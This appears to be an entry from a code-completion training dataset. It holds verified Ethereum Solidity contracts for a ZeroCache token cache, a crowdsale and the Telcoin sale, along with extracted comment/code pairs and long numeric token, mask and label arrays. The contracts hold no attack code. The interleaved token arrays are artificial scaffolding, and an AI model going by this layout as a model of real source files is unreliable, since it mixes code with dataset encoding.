through all tokens. */ for (uint i = 0; i < _tokens.length; i++) { /* Set token. */ address token = _tokens[i]; /* Retrieve balance. */ // NOTE: Explicitly set depth to `0`, to retrieve the // balance for ONLY this instance. uint balance = balanceOf(token, _owner, 0); /* Decrease owner balance to ZERO. */ // NOTE: Balance is ZEROED here to prevent re-entry attack. _balances[token][_owner] = 0; /* Validate WETH contract (requires `unwrap`). */ if (token == address(_weth())) { /* Set WETH address. */ address wethAddress = _weth(); /* Withdraw ETH from Wrapper contract. */ success = wethAddress.call .gas(100000) (abi.encodeWithSignature("withdraw(uint256)", balance)); /* (Re-)Wrap ETH into LATEST instance. */ // NOTE: ETH will be wrapped on `_owner` behalf. success = latestCache.call .gas(100000) .value(balance) (abi.encodeWithSignature("wrap(address)", _owner)); } else { /* Set data to owner (address). */ // NOTE: Required to assign tokens after being received // by the new contract instance. bytes memory data = abi.encodePacked(_owner); /* (Re-)Deposit tokens into LATEST instance. */ // NOTE: Tokens will be credited to `_owner` (aka `data`). ApproveAndCallFallBack(token) .approveAndCall(latestCache, balance, data); /* Set success. */ success = true; } /* Broadcast event. */ emit Migrate(token, _owner, balance); } } /*************************************************************************** * * GETTERS * */ /** * Get Revision (Number) */ function getRevision() public view returns (uint) { return _revision; } /** * Get Predecessor (Address) */ function getPredecessor() public view returns (address) { return _predecessor; } /** * Get Successor (Address) */ function getSuccessor() public view returns (address) { return _successor; } /** * Get the token balance for account `tokenOwner` */ function balanceOf( address _token, address _owner ) external constant returns (uint balance) { /* Return balance. */ return balanceOf( _token, _owner, _MAX_REVISION_DEPTH); } /** * Get the token balance for account `tokenOwner` * * NOTE: Supports a virtually unlimited depth, * limited ONLY by the supplied gas amount. */ function balanceOf( address _token, address _owner, uint _depth ) public constant returns (uint balance) { /* Retrieve (current) balance. */ balance = _balances[_token][_owner]; /* Initialize legacy instance (to current predecessor). */ address legacyInstance = getPredecessor(); /* Validate legacy instance. */ if (legacyInstance != 0x0) { /* Initialize total legacy balance. */ uint totalLegacyBalance = 0; /* Loop through legacy instances for balance. */ for (uint i = 0; i < _depth; i++) { /* Retrieve balance. */ uint legacyBalance = ZeroCache(legacyInstance) .balanceOf(_token, _owner); /* Add to legacy balance total. */ totalLegacyBalance = totalLegacyBalance.add(legacyBalance); /* Set the next legacy instance / predecessor (if available). */ legacyInstance = ZeroCache(legacyInstance).getPredecessor(); /* Validate legacy instance. */ if (legacyInstance == 0x0) { /* Break the loop. */ break; } } /* Add total legacy balance. */ balance = balance.add(totalLegacyBalance); } } /*************************************************************************** * * SETTERS * */ /** * Set Successor * * This is the contract address that replaced this current instnace. */ function setSuccessor( address _newSuccessor ) onlyAuthBy0Admin external returns (bool success) { /* Set successor contract. */ _successor = _newSuccessor; /* Return success. */ return true; } /*************************************************************************** * * INTERFACES * */ /** * Supports Interface (EIP-165) * * (see: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md) * * NOTE: Must support the following conditions: * 1. (true) when interfaceID is 0x01ffc9a7 (EIP165 interface) * 2. (false) when interfaceID is 0xffffffff * 3. (true) for any other interfaceID this contract implements * 4. (false) for any other interfaceID */ function supportsInterface( bytes4 _interfaceID ) external pure returns (bool) { /* Initialize constants. */ bytes4 InvalidId = 0xffffffff; bytes4 ERC165Id = 0x01ffc9a7; /* Validate condition #2. */ if (_interfaceID == InvalidId) { return false; } /* Validate condition #1. */ if (_interfaceID == ERC165Id) { return true; } // TODO Add additional interfaces here. /* Return false (for condition #4). */ return false; } /** * ECRecovery Interface */ function _ecRecovery() private view returns ( ECRecovery ecrecovery ) { /* Initailze hash. */ bytes32 hash = keccak256('aname.ecrecovery'); /* Retrieve value from Zer0net Db. */ address aname = _zer0netDb.getAddress(hash); /* Initialize interface. */ ecrecovery = ECRecovery(aname); } /** * Wrapped Ether (WETH) Interface * * Retrieves the current WETH interface, * using the aname record from Zer0netDb. */ function _weth() private view returns ( WETHInterface weth ) { /* Initailze hash. */ // NOTE: ERC tokens are case-sensitive. bytes32 hash = keccak256('aname.WETH'); /* Retrieve value from Zer0net Db. */ address aname = _zer0netDb.getAddress(hash); /* Initialize interface. */ weth = WETHInterface(aname); } /** * MakerDAO DAI Interface * * Retrieves the current DAI interface, * using the aname record from Zer0netDb. */ function _dai() private view returns ( ERC20Interface dai ) { /* Initailze hash. */ // NOTE: ERC tokens are case-sensitive. bytes32 hash = keccak256('aname.DAI'); /* Retrieve value from Zer0net Db. */ address aname = _zer0netDb.getAddress(hash); /* Initialize interface. */ dai = ERC20Interface(aname); } /** * ZeroGold Interface * * Retrieves the current ZeroGold interface, * using the aname record from Zer0netDb. */ function _zeroGold() private view returns ( ERC20Interface zeroGold ) { /* Initailze hash. */ // NOTE: ERC tokens are case-sensitive. bytes32 hash = keccak256('aname.0GOLD'); /* Retrieve value from Zer0net Db. */ address aname = _zer0netDb.getAddress(hash); /* Initialize interface. */ zeroGold = ERC20Interface(aname); } /*************************************************************************** * * UTILITIES * */ /** * Request Hash Authorized Signature * * Validates ALL signature requests by: * 1. Uses ECRecovery to validate the signature. * 2. Verify expiration against the current block number. * 3. Sets a flag to block re-use of signature. */ function _requestHasAuthSig( address _from, bytes32 _authHash, uint _expires, bytes _signature ) private returns (bool success) { /* Calculate signature hash. */ bytes32 sigHash = keccak256(abi.encodePacked( '\x19Ethereum Signed Message:\n32', _authHash)); /* Validate signature expiration. */ if (_expiredSignatures[sigHash]) { return false; } /* Set expiration flag. */ // NOTE: Set a flag here to prevent double-spending. _expiredSignatures[sigHash] = true; /* Validate the expiration time. */ if (block.number > _expires) { return false; } /* Retrieve the authorized account (address). */ address authorizedAccount = _ecRecovery().recover(sigHash, _signature); /* Validate the signer matches owner of the tokens. */ if (_from != authorizedAccount) { return false; } /* Return success. */ return true; } /** * Is (Owner) Contract * * Tests if a specified account / address is a contract. */ function _ownerIsContract( address _owner ) private view returns (bool isContract) { /* Initialize code length. */ uint codeLength; /* Run assembly. */ assembly { /* Retrieve the size of the code on target address. */ codeLength := extcodesize(_owner) } /* Set test result. */ isContract = (codeLength > 0); } /** * Bytes-to-Address * * Converts bytes into type address. */ function _bytesToAddress(bytes _address) private pure returns (address) { uint160 m = 0; uint160 b = 0; for (uint8 i = 0; i < 20; i++) { m *= 256; b = uint160(_address[i]); m += (b); } return address(m); } /** * Transfer Any ERC20 Token * * @notice Owner can transfer out any accidentally sent ERC20 tokens. * * @dev Provides an ERC20 interface, which allows for the recover * of any accidentally sent ERC20 tokens. */ function transferAnyERC20Token( address _tokenAddress, uint _tokens ) public onlyOwner returns (bool success) { return ERC20Interface(_tokenAddress).transfer(owner, _tokens); } }
* ECRecovery Interface/
function _ecRecovery() private view returns ( ECRecovery ecrecovery ) { bytes32 hash = keccak256('aname.ecrecovery'); address aname = _zer0netDb.getAddress(hash); ecrecovery = ECRecovery(aname);
5,395,086
[ 1, 7228, 11548, 6682, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 557, 11548, 1435, 3238, 1476, 1135, 261, 203, 3639, 7773, 11548, 425, 1793, 4813, 203, 565, 262, 288, 203, 3639, 1731, 1578, 1651, 273, 417, 24410, 581, 5034, 2668, 304, 339, 18, 557, 23963, 8284, 203, 540, 203, 3639, 1758, 392, 339, 273, 389, 24355, 20, 2758, 4331, 18, 588, 1887, 12, 2816, 1769, 203, 540, 203, 3639, 425, 1793, 4813, 273, 7773, 11548, 12, 304, 339, 1769, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x2cc572eA86ABcf75C113fE72752CAF0216c74837 //Contract name: YourMomTokenCrowdsale //Balance: 0 Ether //Verification Date: 12/28/2017 //Transacion Count: 2 // CODE STARTS HERE pragma solidity ^0.4.16; //YourMomTokenCrowdsale interface token { function transferFrom(address _holder, address _receiver, uint amount) public returns (bool success); function allowance(address _owner, address _spender) public returns (uint256 remaining); function balanceOf(address _owner) public returns (uint256 balance); } contract owned { // Defines contract Owner address public owner; // Events event TransferOwnership (address indexed _owner, address indexed _newOwner); // Notifies about the ownership transfer // Constrctor function function owned() public { owner = msg.sender; } function transferOwnership(address newOwner) onlyOwner public { TransferOwnership (owner, newOwner); owner = newOwner; } // Modifiers modifier onlyOwner { require(msg.sender == owner); _; } } contract YourMomTokenCrowdsale is owned { token public tokenReward; string public name; address public beneficiary; address public tokenHolder; uint256 public crowdsaleStartTime; uint256 public deadline; uint256 public tokensIssued; uint256 public amountRaised; mapping(address => uint256) private balanceOf; mapping(address => uint256) private etherBalanceOf; uint256 private reclaimForgottenEtherDeadline; uint256 private currentContractAllowance; uint256 private initialContractAllowance; uint256 private originalTokenReward; uint256 private _etherAmount; uint256 private price; uint8 private errorCount = 0; bool public purchasingAllowed = false; bool public failSafeMode = false; bool private afterFirstWithdrawal = false; bool private allowanceSetted = false; // Events event TokenPurchase(address indexed taker, uint amount, uint tokensBought); event FundWithdrawal(address indexed to, uint amount, bool isBeneficiary); event PurchasingAllowed(bool enabled); event ExecutionError(string reason); event FailSafeActivated(bool enabled); //Constrctor function function YourMomTokenCrowdsale(string contractName, address ifSuccessfulSendTo, uint durationInDays, uint howManyTokensAnEtherCanBuy, address addressOfTokenUsedAsReward, address adressOfTokenHolder, uint crowdsaleStartTimeTimestamp, uint ifInFailSafeTimeInDaysAfterDeadlineToReclaimForgottenEther) public { name = contractName; // Set the name for display purposes crowdsaleStartTime = crowdsaleStartTimeTimestamp; deadline = crowdsaleStartTime + durationInDays * 1 days; originalTokenReward = howManyTokensAnEtherCanBuy; //Assuming Token has 18 decimal units tokenReward = token(addressOfTokenUsedAsReward); tokenHolder = adressOfTokenHolder; beneficiary = ifSuccessfulSendTo; reclaimForgottenEtherDeadline = deadline + ifInFailSafeTimeInDaysAfterDeadlineToReclaimForgottenEther * 1 days; } //Fallback function function () payable public { require(!failSafeMode); require(purchasingAllowed); require(now >= crowdsaleStartTime); require(msg.value != 0); require(amountRaised + msg.value > amountRaised); //Check for overflow price = _currentTokenRewardCalculator(); require(tokenReward.transferFrom(tokenHolder, msg.sender, msg.value * price)); //Transfer tokens from tokenHolder to msg.sender amountRaised += msg.value; //Updates amount raised tokensIssued += msg.value * price; //Updates token selled (required for audit) etherBalanceOf[msg.sender] += msg.value; //Updates msg.sender ether contribution amount balanceOf[msg.sender] += msg.value * price; //Updates the amount of tokens msg.sender has received currentContractAllowance = tokenReward.allowance(beneficiary, this); //Updates contract allowance if (!afterFirstWithdrawal && ((tokensIssued != initialContractAllowance - currentContractAllowance) || (amountRaised != this.balance))) { _activateFailSafe(); } //Check tokens issued and ether received, activates fail-safe in mismatch TokenPurchase(msg.sender, msg.value, msg.value * price); //Event to inform about the purchase if (afterFirstWithdrawal) { //If after first withdrawal, the ether will be sent immediately to the beneficiary if(beneficiary.send(msg.value)) { FundWithdrawal(beneficiary, msg.value, true); } //If fails, return false and the ether will remain in the contract } } function enablePurchase() onlyOwner() public { require(!failSafeMode); //Can't enable purchase after Fail-Safe activates require(!purchasingAllowed);//Require purchasingAllowed = false purchasingAllowed = true; //Contract must be deployed with purchasingAllowed = false PurchasingAllowed(true); if (!allowanceSetted) { //Set the initial and current contract allowance require(tokenReward.allowance(beneficiary, this) > 0); //Changing allowance before the first withdrawal activates Fail-Safe initialContractAllowance = tokenReward.allowance(beneficiary, this); currentContractAllowance = initialContractAllowance; allowanceSetted = true; } } function disablePurchase() onlyOwner() public { require(purchasingAllowed); //Require purchasingAllowed = true purchasingAllowed = false; PurchasingAllowed(false); } function Withdrawal() public returns (bool sucess) { if (!failSafeMode) { //If NOT in Fail-Safe require((now >= deadline) || (100*currentContractAllowance/initialContractAllowance <= 5)); //Require after deadline or 95% of the tokens sold require(msg.sender == beneficiary); //Only the beneficiary can withdrawal if NOT in Fail-Safe if (!afterFirstWithdrawal) { if (beneficiary.send(amountRaised)) { afterFirstWithdrawal = true; FundWithdrawal(beneficiary, amountRaised, true); return true; } else { //Executed if amountRaised's withdrawal fails errorCount += 1; if (errorCount >= 3) { //If amountRaised's withdrawal fail 3 times, activates Fail-Safe _activateFailSafe(); return false; //'return false' cause it's an error function } else { return false; } //If errorCount < 3 } } else { //If 'afterFirstWithdrawal == true' transfer current contract balance to beneficiary _etherAmount = this.balance; beneficiary.transfer(_etherAmount); FundWithdrawal(beneficiary, _etherAmount, true); return true; } } else { //If in Fail-Safe mode if((now > reclaimForgottenEtherDeadline) && (msg.sender == beneficiary)) { //Reclaim forgotten ethers sub-function _etherAmount = this.balance; beneficiary.transfer(_etherAmount); //Send ALL contract's ether to beneficiary, throws on failure FundWithdrawal(beneficiary, _etherAmount, true); return true; } else { //If the conditions to the 'reclaim forgotten ether' sub-function is not met require(balanceOf[msg.sender] > 0); require(etherBalanceOf[msg.sender] > 0); require(this.balance > 0 ); //Can't return ether if there is no ether on the contract require(tokenReward.balanceOf(msg.sender) >= balanceOf[msg.sender]); //Check if msg.sender has the tokens he bought require(tokenReward.allowance(msg.sender, this) >= balanceOf[msg.sender]); //Check if the contract is authorized to return the tokens require(tokenReward.transferFrom(msg.sender, tokenHolder, balanceOf[msg.sender])); //Tranfer the tokens back to the beneficiary if(this.balance >= etherBalanceOf[msg.sender]) { //If the contract has not enough either, it will send all it can _etherAmount = etherBalanceOf[msg.sender]; } else { _etherAmount = this.balance; } //Which is all the contract's balance balanceOf[msg.sender] = 0; // Mitigates Re-Entrancy call etherBalanceOf[msg.sender] = 0; // Mitigates Re-Entrancy call msg.sender.transfer(_etherAmount); //.transfer throws on failure, witch will revert even the variable changes FundWithdrawal(msg.sender, _etherAmount, false); //Call the event to inform the withdrawal return true; } } } function _currentTokenRewardCalculator() internal view returns (uint256) { //Increases the reward according to the discount if (now <= crowdsaleStartTime + 6 hours) { return originalTokenReward + (originalTokenReward * 70 / 100); } if (now <= crowdsaleStartTime + 12 hours) { return originalTokenReward + (originalTokenReward * 60 / 100); } if (now <= crowdsaleStartTime + 48 hours) { return originalTokenReward + (originalTokenReward * 50 / 100); } if (now <= crowdsaleStartTime + 7 days) { return originalTokenReward + (originalTokenReward * 30 / 100); } if (now <= crowdsaleStartTime + 14 days) { return originalTokenReward + (originalTokenReward * 10 / 100); } if (now > crowdsaleStartTime + 14 days) { return originalTokenReward; } } function _activateFailSafe() internal returns (bool) { if(afterFirstWithdrawal) { return false; } //Fail-Safe can NOT be activated after First Withdrawal if(failSafeMode) { return false; } //Fail-Safe can NOT be activated twice (right?) currentContractAllowance = 0; purchasingAllowed = false; failSafeMode = true; ExecutionError("Critical error"); FailSafeActivated(true); return true; } // Call Functions function name() public constant returns (string) { return name; } function tokenBalanceOf(address _owner) public constant returns (uint256 tokensBoughtAtCrowdsale) { return balanceOf[_owner]; } function etherContributionOf(address _owner) public constant returns (uint256 amountContributedAtTheCrowdsaleInWei) { return etherBalanceOf[_owner]; } function currentPrice() public constant returns (uint256 currentTokenRewardPer1EtherContributed) { return (_currentTokenRewardCalculator()); } function discount() public constant returns (uint256 currentDiscount) { return ((100*_currentTokenRewardCalculator()/originalTokenReward) - 100); } function remainingTokens() public constant returns (uint256 tokensStillOnSale) { return currentContractAllowance; } function crowdsaleStarted() public constant returns (bool isCrowdsaleStarted) { if (now >= crowdsaleStartTime) { return true; } else { return false; } } function reclaimEtherDeadline() public constant returns (uint256 deadlineToReclaimEtherIfFailSafeWasActivated) { return reclaimForgottenEtherDeadline; } }
Updates msg.sender ether contribution amount
etherBalanceOf[msg.sender] += msg.value;
6,394,954
[ 1, 5121, 1234, 18, 15330, 225, 2437, 24880, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 2437, 13937, 951, 63, 3576, 18, 15330, 65, 1011, 1234, 18, 1132, 31, 3196, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x78F7eF08b4583F9866D8a98A9f2D9B64d9c02380 //Contract name: TelcoinSale //Balance: 0 Ether //Verification Date: 12/11/2017 //Transacion Count: 3691 // CODE STARTS HERE pragma solidity 0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Telcoin { using SafeMath for uint256; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); string public constant name = "Telcoin"; string public constant symbol = "TEL"; uint8 public constant decimals = 2; /// The ERC20 total fixed supply of tokens. uint256 public constant totalSupply = 100000000000 * (10 ** uint256(decimals)); /// Account balances. mapping(address => uint256) balances; /// The transfer allowances. mapping (address => mapping (address => uint256)) internal allowed; /// The initial distributor is responsible for allocating the supply /// into the various pools described in the whitepaper. This can be /// verified later from the event log. function Telcoin(address _distributor) public { balances[_distributor] = totalSupply; Transfer(0x0, _distributor, totalSupply); } /// ERC20 balanceOf(). function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /// ERC20 transfer(). function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /// ERC20 transferFrom(). function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /// ERC20 approve(). Comes with the standard caveat that an approval /// meant to limit spending may actually allow more to be spent due to /// unfortunate ordering of transactions. For safety, this method /// should only be called if the current allowance is 0. Alternatively, /// non-ERC20 increaseApproval() and decreaseApproval() can be used. function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// ERC20 allowance(). function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /// Not officially ERC20. Allows an allowance to be increased safely. function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /// Not officially ERC20. Allows an allowance to be decreased safely. function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TelcoinSaleToken { using SafeMath for uint256; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event Mint(address indexed to, uint256 amount); event MintFinished(); event Redeem(address indexed beneficiary, uint256 sacrificedValue, uint256 grantedValue); event Transfer(address indexed from, address indexed to, uint256 value); /// The owner of the contract. address public owner; /// The total number of minted tokens, excluding destroyed tokens. uint256 public totalSupply; /// The token balance and released amount of each address. mapping(address => uint256) balances; mapping(address => uint256) redeemed; /// Whether the token is still mintable. bool public mintingFinished = false; /// Redeemable telcoin. Telcoin telcoin; uint256 public totalRedeemed; /// Vesting period. uint256 vestingStart; uint256 vestingDuration; modifier onlyOwner() { require(msg.sender == owner); _; } function TelcoinSaleToken( Telcoin _telcoin, uint256 _vestingStart, uint256 _vestingDuration ) public { owner = msg.sender; telcoin = _telcoin; vestingStart = _vestingStart; vestingDuration = _vestingDuration; } function finishMinting() onlyOwner public returns (bool) { require(!mintingFinished); mintingFinished = true; MintFinished(); return true; } function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { require(_to != 0x0); require(!mintingFinished); require(_amount > 0); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } function redeemMany(address[] _beneficiaries) public { for (uint256 i = 0; i < _beneficiaries.length; i++) { redeem(_beneficiaries[i]); } } function redeem(address _beneficiary) public returns (uint256) { require(mintingFinished); require(_beneficiary != 0x0); uint256 balance = redeemableBalance(_beneficiary); if (balance == 0) { return 0; } uint256 totalDistributable = telcoin.balanceOf(this).add(totalRedeemed); // Avoid loss of precision by multiplying and later dividing by // a large value. uint256 amount = balance.mul(10 ** 18).div(totalSupply).mul(totalDistributable).div(10 ** 18); balances[_beneficiary] = balances[_beneficiary].sub(balance); redeemed[_beneficiary] = redeemed[_beneficiary].add(balance); balances[telcoin] = balances[telcoin].add(balance); totalRedeemed = totalRedeemed.add(amount); Transfer(_beneficiary, telcoin, balance); Redeem(_beneficiary, balance, amount); telcoin.transfer(_beneficiary, amount); return amount; } function transferOwnership(address _to) onlyOwner public { require(_to != address(0)); OwnershipTransferred(owner, _to); owner = _to; } function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; } function redeemableBalance(address _beneficiary) public constant returns (uint256) { return vestedBalance(_beneficiary).sub(redeemed[_beneficiary]); } function vestedBalance(address _beneficiary) public constant returns (uint256) { uint256 currentBalance = balances[_beneficiary]; uint256 totalBalance = currentBalance.add(redeemed[_beneficiary]); if (now < vestingStart) { return 0; } if (now >= vestingStart.add(vestingDuration)) { return totalBalance; } return totalBalance.mul(now.sub(vestingStart)).div(vestingDuration); } } contract TelcoinSale { using SafeMath for uint256; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event WalletChanged(address indexed previousWallet, address indexed newWallet); event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount, uint256 bonusAmount ); event TokenAltPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount, uint256 bonusAmount, string symbol, string transactionId ); event Pause(); event Unpause(); event Withdrawal(address indexed wallet, uint256 weiAmount); event Extended(uint256 until); event Finalized(); event Refunding(); event Refunded(address indexed beneficiary, uint256 weiAmount); event Whitelisted( address indexed participant, uint256 minWeiAmount, uint256 maxWeiAmount, uint32 bonusRate ); event CapFlexed(uint32 flex); /// The owner of the contract. address public owner; /// The temporary token we're selling. Sale tokens can be converted /// immediately upon successful completion of the sale. Bonus tokens /// are on a separate vesting schedule. TelcoinSaleToken public saleToken; TelcoinSaleToken public bonusToken; /// The token we'll convert to after the sale ends. Telcoin public telcoin; /// The minimum and maximum goals to reach. If the soft cap is not reached /// by the end of the sale, the contract will enter refund mode. If the /// hard cap is reached, the contract can be finished early. /// /// Due to our actual soft cap being tied to USD and the assumption that /// the value of Ether will continue to increase during the ICO, we /// implement a fixed minimum softcap that accounts for a 2.5x value /// increase. The capFlex is a scale factor that allows us to scale the /// caps above the fixed minimum values. Initially the scale factor will /// be set so that our effective soft cap is ~10M USD. uint256 public softCap; uint256 public hardCap; uint32 public capFlex; /// The sale period. uint256 public startTime; uint256 public endTime; uint256 public timeExtension; /// The numnber of tokens to mint per wei. uint256 public rate; /// The total number of wei raised. Note that the contract's balance may /// differ from this value if someone has decided to forcefully send us /// ether. uint256 public weiRaised; /// The wallet that will receive the contract's balance once the sale /// finishes and the soft cap is reached. address public wallet; /// The list of addresses that are allowed to participate in the sale, /// up to what amount, and any special rate they may have, provided /// that they do in fact participate with at least the minimum value /// they agreed to. mapping(address => uint256) public whitelistedMin; mapping(address => uint256) public whitelistedMax; mapping(address => uint32) public bonusRates; /// The amount of wei and wei equivalents invested by each investor. mapping(address => uint256) public deposited; mapping(address => uint256) public altDeposited; /// An enumerable list of investors. address[] public investors; /// Whether the sale is paused. bool public paused = false; /// Whether the sale has finished, and when. bool public finished = false; uint256 public finishedAt; /// Whether we're accepting refunds. bool public refunding = false; /// The total number of wei refunded. 